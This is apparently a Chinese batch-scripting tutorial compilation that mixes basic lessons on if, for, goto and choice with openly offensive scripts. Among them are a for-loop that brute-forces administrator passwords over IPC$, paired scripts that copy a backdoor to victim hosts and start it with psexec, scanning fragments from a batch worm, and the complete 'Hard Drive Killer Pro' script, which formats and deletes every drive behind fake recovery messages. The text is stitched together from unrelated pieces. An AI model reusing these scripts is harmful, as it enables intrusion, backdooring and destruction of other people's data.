OK,never claver and get to business(闲话少说言归正传)。批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。再说句“闲话”:要学好批处理,DOS基础一定要牢!当然脑子灵活也是很重要的一方面。
是不是都能看的懂?是不是很easy?但它的作用却是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器,从而远离“从服务器中转”那一痛苦的过程。这里>的意思,是把前面命令得到的东西放到后面所给的地方,>>的作用,和>的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个a.txt文件越来越大(想到如何搞破坏了??)。By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器IP,是不是很爽?后面还将详细介绍。
例二、再给出一个已经过时的例子(a.bat):
@echo off
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
a.bat
@echo off
if exist c:\windows\temp\*.* del c:\windows\temp\*.*
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*
if exist c:\windows\History\*.* del c:\windows\History\*.*
if exist c:\windows\recent\*.* del c:\windows\recent\*.*
批处理看起来杂乱无章,但它的逻辑性之强,绝对不比其他程序语言(如汇编)低,如果你写的脚本是一堆乱麻,虽然每一行命令都正确,但从头执行到尾后,不一定得到你想要的结果,也许是一屏幕的Bad command or fail name。这又和爱情有了共同点:按步骤来经营,缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友,相信没有不肯定这句话的。我的爱情批处理,输出的结果不是Bad command or fail name,屏幕是这么显示的:‘你的爱情’不是内部或外部命令,也不是可运行的程序或批处理文件。然后就是光标不停闪动,等待这下一次错误的输入。
@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage
if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage
这里判断输入的参数情况,如果参数为空(无参数),则跳转到usage;如果参数为/?或help时(大家一般看一个命令的帮助,是不是输入的/?或help呢,这里这么做只是为了让这个脚本看起来更像一个真正的程序),也跳转到usage。这里还可以用否定形式来表示“不等于”,例如:if not "%1"=="" goto usage,则表示如果输入参数不为空就跳转到usage(实际中这样做就没意义了,这里介绍用法,管不了那么多了,呵呵。)是不是很简单?其实翻译成中文体会一下就understand了。
(2)、存在判断。再看例二里这句:
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
如果存在那些gif文件,就删除这些文件。当然还有例四,都是一样的道理。注意,这里的条件判断是判断存在的,当然也可以判断不存在的,例如下面这句“如果不存在那些gif文件则退出脚本”:if not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一个not来表示否定而已。
(3)、结果判断。还是拿例五开刀(没想到自己写的脚本,竟然用处这么大,呵呵):
masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj
在start.bat中,10.bat后面跟了参数0,在执行时的效果,其实就是把10.bat里的参数%1用0代替。在start.bat中,ipc.bat后面跟了参数ipcfind.txt(一个文件,也可以做参数),执行时的效果,就是用ipc.bat中的每一行的三个变量(这里不懂没关系,学过for命令后就懂了),对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的,使用时需要好好体会。在初学期间,可以先学习只调用脚本,至于连脚本的参数一起使用的情况,在后面的学习中自然就会有比较深刻的理解,这是因为当你已经可以灵活运用批处理脚本后,如何使代码写的更精简更完美更高效就自然包括到了考虑的范围,这时候你就会发现在调用脚本时直接加入参数,可以使代码效率加倍。By the way,上面的这几个脚本,都是Bat.Worm.Muma病毒的一部分,在后面的教程里,大家将有机会见到这个病毒的真面目。
那是不是说,在同一个目录下至少存在两个批处理脚本文件(只有一个你调用谁?)?呵呵,注意了,这句话错了!!只有一个照样可以调用----调用自身!看例九(默认脚本文件名a.bat):
一定要在DOS窗口下执行,否则只会看到一个窗口一闪而过,看不到最后结果。等执行完后,当脚本被执行了1260次,别忘了想一下到底是为什么!爱情有时候跟这个脚本一样,一旦陷入死循环,最后的结果都是意想不到的。只是爱情,绝对不会等到被毫无理由的循环这么多次,也许在第三次时就出现了love is aborted的提示。
START.BAT:
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
但是很可惜,等到下午再去的时候,图书馆楼梯口已经立了一个牌子,上面写着out of service----人家这学期的工作结束了。于是回到宿舍打算继续写第四章,正在这时又得到一个“振奋人心”的消息:期末考试有一科挂了,而且是全班第一----这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头,整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门,学校里的人越来越少,迎面过来的几个同学也都一身行李,忙碌着准备回家过年,内心的孤寂和失落如同夏日里暴雨前的乌云,迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个人在天桥上发呆,还能怎么样,连期末考试都应付不了的失败男人。
echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat
Program Files
1 个文件 2,164 字节
1 个目录 1,505,997,824 可用字节
C:>cd pro*
C:Program Files>
C:>
C:>cd "Program Files"
C:Program Files>
######################################################################
3. 内置的特殊符号(实际使用中间注意避开)
######################################################################
微软里面内置了下列字符不能够在创建的文件名中间使用
con nul aux / | || && ^ > < *
You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)
To create the variable value new&name, type:
set varname=new^&name
To create the variable value "new&name", type:
set varname="new&name"
The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.
常用语法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2
IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母顺序 ijklmnopq依次取参数.
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二个echo是追加
第三个echo将清空a.txt 重新创建 a.txt
netstat -n | find "3389"
这个将要列出所有连接3389的用户的ip.
________________test.bat___________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不显示注释语句,本行显示
@rem 不显示注释语句,本行不显示
@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
___________________________________________________________________________
下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.
___________________ida.bat_________________________________________________
@rem ver 1.0
@if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe"
___________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe"
goto 与 : 联用可实现执行中途的跳转, 再结合 if 可实现执行过程的条件分支, 多个 if 即可实现命令的分组, 类似 C 中 switch case 结构或者 Basic 中的 select case 结构, 大规模且结构化的命令分组即可实现高级语言中的函数功能. 以下是批处理和C/Basic在语法结构上的对照:
/C[:]choices Specifies allowable keys. Default is YN
指定允许的按键(待选字符), 默认为YN
/N Do not display choices and ? at end of prompt string.
不显示提示字符串中的问号和待选字符
/S Treat choice keys as case sensitive.
处理待选字符时大小写敏感
/T[:]c,nn Default choice to c after nn seconds
在 nn 秒后默认选择 c
text Prompt string to display
要显示的提示字符串
ERRORLEVEL is set to offset of key user presses in choices.
ERRORLEVEL 被设置为用户键入的字符在待选字符中的偏移值
如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"
屏幕上会显示:
确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?
例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):
@echo off
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errorlevel 1 goto defrag
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此批处理运行后,将显示"defrag,mem,end[D,M,E]?" ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。
四、for 循环命令,只要条件符合,它将多次执行同一命令。
语法:
对一组文件中的每一个文件执行某个特定命令。
FOR %%variable IN (set) DO command [command-parameters]
例如一个批处理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。
==== willsort 编注 =====================================================
需要指出的是, 当()中的字符串并非单个或多个文件名时, 它将单纯被当作字符串替换, 这个特性再加上()中可以嵌入多个字符串的特性, 很明显 for 可以被看作一种遍历型循环.
当然, 在 nt/2000/xp/2003 系列的命令行环境中, for 被赋予了更多的特性, 使之可以分析命令输出或者文件中的字符串, 也有很多开关被用于扩展了文件替换功能.
========================================================================
批处理示例
1. IF-EXIST
1) 首先用记事本在C:\建立一个test1.bat批处理文件,文件内容如下:
@echo off
IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist
3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下:
@echo off
IF "%1" == "A" ECHO XIAO
IF "%2" == "B" ECHO TIAN
IF "%3" == "C" ECHO XIN
如果运行:
C:\>TEST3 A B C
屏幕上会显示:
XIAO
TIAN
XIN
如果运行:
C:\>TEST3 A B
屏幕上会显示
XIAO
TIAN
在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。
2、IF-ERRORLEVEL
建立TEST4.BAT,内容如下:
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL 1 ECHO 文件拷贝失败
IF ERRORLEVEL 0 ECHO 成功拷贝文件
然后执行文件:
C:\>TEST4
如果文件拷贝成功,屏幕就会显示"成功拷贝文件",否则就会显示"文件拷贝失败"。
IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。
因此下面的批处理文件是错误的:
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL 0 ECHO 成功拷贝文件
IF ERRORLEVEL 1 ECHO 未找到拷贝文件
IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作
IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作
IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d://back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d://back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c://dos//defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use ////ip//ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use ////ip//ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use ////ip//ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D://ok.txt ,这样就ko了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use ////%1//ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe////%1//admin$//system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec ////%1 c://winnt//system32//windrv32.exe
@psexec ////%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echo off
@net use ////1%//ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3
三.如何使用组合命令(Compound Command)
1.&
Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample:
C://>dir z: & dir c://Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
@REM 这样不是更安全^_^.
六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c://delshare.reg
echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//lanmanserver//parameters]>> c://delshare.reg
echo "AutoShareWks"=dword:00000000>> c://delshare.reg
echo "AutoShareServer"=dword:00000000>> c://delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c://delshare.reg
echo Deleting the temprotarily files.
del c://delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail: Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com .
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------
2.全面加固系统(给肉鸡打补丁)的批处理文件
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//lanmanserver//parameters] >>patch.dll
@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll
------------------------ cut here then save as .bat or .cmd file ---------------------------
3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c://autoexec.bat >nul
echo @echo off >c://autoexec.bat
echo call format c: /q /u /autoSample >nul >>c://autoexec.bat
call attrib +r +h c://autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont worry about how it
rem works, its d//*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
rem When errorlevel is 1, then the above is not true, if 0, then its true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.///ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.///ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c://autoexec.bat >nul
echo @echo off >c://autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c://autoexec.bat
echo cls >>c://autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
echo for %%%%a in (%drive%) do call c://temp.bat %%%%a Bunga >nul >>c://autoexec.bat
echo cls >>c://autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:// >nul >>c://autoexec.bat
echo cls >>c://autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c://autoexec.bat
echo cls >>c://autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
echo for %%%%a in (%drive%) do call c://temp.bat %%%%a Bunga >nul >>c://autoexec.bat
echo cls >>c://autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c://autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:// >nul >>c://autoexec.bat
echo cd// >>c://autoexec.bat
echo cls >>c://autoexec.bat
echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c://autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c://autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c://autoexec.bat
echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c://autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c://autoexec.bat
echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c://autoexec.bat
:makedir
if exist c://temp.bat attrib -r -h c://temp.bat >nul
echo @echo off >c://temp.bat
echo %%1:// >>c://temp.bat
echo cd// >>c://temp.bat
echo :startmd >>c://temp.bat
echo for %%%%a in ("if not exist %%2//nul md %%2" "if exist %%2//nul cd %%2") do %%%%a >>c://temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c://temp.bat
echo if not exist %%1://%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//nul goto startmd >>c://temp.bat
call attrib +r +h c://temp.bat >nul
cls
echo Initializing variables . . .
rem deltree /y %%a://*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c://temp.bat %%a Munga >nul
cls
echo Initializing variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:// /S >nul
call attrib +r +h c://temp.bat >nul
call attrib +r +h c://autoexec.bat >nul
cls
echo Initializing variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a://*. >nul
cls
echo Initializing variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c://temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). Whats the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Dont you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here). 作者: lvyasong 时间: 2008-2-26 16:40
7-Zip (Igor Pavlov, Open Source) - Excellent general purpose Windows archive utility; used to extract .7z, 7-Zip SFX .exe, .bz2, .cab, .chm, .cpio, .deb, .gz, .iso, .lha, .lzh, NSIS installer .exe, .rpm, .tar, and .Z files
ARC (Howard Chu, Open Source) - ARC archiving utility; used to extract .arc files; Note: binary was obtained from http://gnuwin32.sourceforge.net/packages/arc.htm
AutoIt (Jonathan Bennett, Open Source) - General-purpose Windows scripting language; used to write the UniExtract front-end
